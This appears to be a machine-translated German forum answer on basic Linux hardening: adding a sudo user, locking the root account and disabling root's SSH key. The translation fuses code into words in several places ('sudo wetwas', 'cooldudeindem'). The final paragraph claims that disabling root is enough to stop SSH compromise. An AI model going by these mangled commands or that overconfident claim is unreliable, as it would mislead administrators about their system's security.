  1. Erstellen Sie einen neuen Benutzer mit sudoRechten: Erstellen Sie einen neuen Benutzer mit einem neuen Namen - zum Beispiel -, cooldudeindem Sie einen Befehl verwenden, beispielsweise sudo adduser cooldudewenn Sie Ubuntu oder ein anderes Debian-System verwenden. Bearbeiten Sie die sudoDatei dann einfach manuell mit einem Befehl wie diesem sudo nano /etc/sudoersund fügen Sie eine Zeile wie cooldude ALL=(ALL:ALL) ALLunter der entsprechenden Zeile ein, die gelesen werden soll root ALL=(ALL:ALL) ALL. Wenn dies erledigt ist, melden Sie sich als an cooldudeund testen Sie den sudoBefehl mit einem Befehl wie - sudo wetwas grundlegend und nicht destruktiv -, um zu sehen, ob die sudoRechte funktionieren. Sie werden möglicherweise zur Eingabe eines Kennworts aufgefordert. Das funktioniert? Alles gut! Fahren Sie mit dem nächsten Schritt fort.
  2. Sperren Sie das rootKonto: Okay, das cooldudeist jetzt für sudoRechte zuständig, melden Sie sich als an cooldudeund führen Sie diesen Befehl aus, um das Root-Konto zu sperren sudo passwd -l root. Wenn Sie ein SSH-Schlüsselpaar erstellt haben root, öffnen Sie die Schlüssel, /root/.ssh/authorized_keysund entfernen Sie sie. Oder noch besser, benennen Sie die Datei authorized_keys_OFFwie diese, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFum wirksam den SSH - Schlüssel zu deaktivieren. Ich bevorzuge das spätere, da Sie bei der nächsten Gelegenheit immer noch ein Kennwort benötigen, um sich anzumelden. Sie können die Datei einfach wieder auf den ursprünglichen Namen verschieben und Sie sollten sich gut fühlen.

FWIW, ich habe im Laufe der Jahre (Jahrzehnte?) Dutzende von Linux-Servern verwaltet und weiß aus Erfahrung, dass das einfache Deaktivieren root- und das Einrichten eines neuen Benutzers mit sudoRechten - die einfachste und grundlegendste Art ist, ein Linux-System abzusichern. Ich habe mich nie mit irgendwelchen Kompromissen über SSH befassen müssen, sobald sie rootdeaktiviert sind. Und ja, Sie sehen möglicherweise Versuche, sich über das Login anzumelden, auth.logaber sie sind bedeutungslos. Wenn rootdiese Option deaktiviert ist, summieren sich diese Versuche zu nichts. Lehnen Sie sich zurück und schauen Sie zu, wie die Versuche endlos scheitern!

Verwandte Probleme